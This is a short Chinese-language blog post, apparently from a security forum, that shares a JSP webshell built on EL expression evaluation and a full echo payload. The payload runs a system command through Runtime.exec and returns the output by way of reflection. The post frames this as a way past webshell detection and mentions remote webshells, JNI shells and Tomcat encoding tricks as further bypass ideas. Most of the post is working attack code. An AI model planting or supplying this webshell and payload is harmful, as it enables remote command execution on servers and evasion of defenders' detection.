翻自己以前写过的东西,在土司翻到了以前提到过的这个问题,这个问题之前查看别的师傅写的文章,很早就有了相关的解决方法,但是一直没回复这种的解决思路.
这里分享下,主要分享el表达式加scriptengine的思路,也当作水篇文章吧。
https://forum.butian.net/share/886
el表达式的shell
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String res = (String)
PageContextImpl.proprietaryEvaluate(request.getParameter("test"),
String.class, pageContext, null);
out.print(res);
%>
回显payload:
test=${pageContext.setAttribute("inputStream",Runtime.getRuntime().exec("cmd+/c+whoami").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable",pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass",Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod",pageContext.getAttribute("byteBufferClass").getMethod("allocate",Integer.TYPE));pageContext.setAttribute("heapByteBuffer",pageContext.getAttribute("allocateMethod").invoke(null,pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(),0,pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType",pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass",Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor",pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes",pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
当然啦远程webshell和jni马的思路也是可以绕过的,也不一定要用这个思路。
甚至于还可以利用补天大会里面提到的一个点,tomcat支持的编码特性来进行绕过。
如编码特性图:webshell内容为
执行:
好好学习,好好锻炼,好好生活。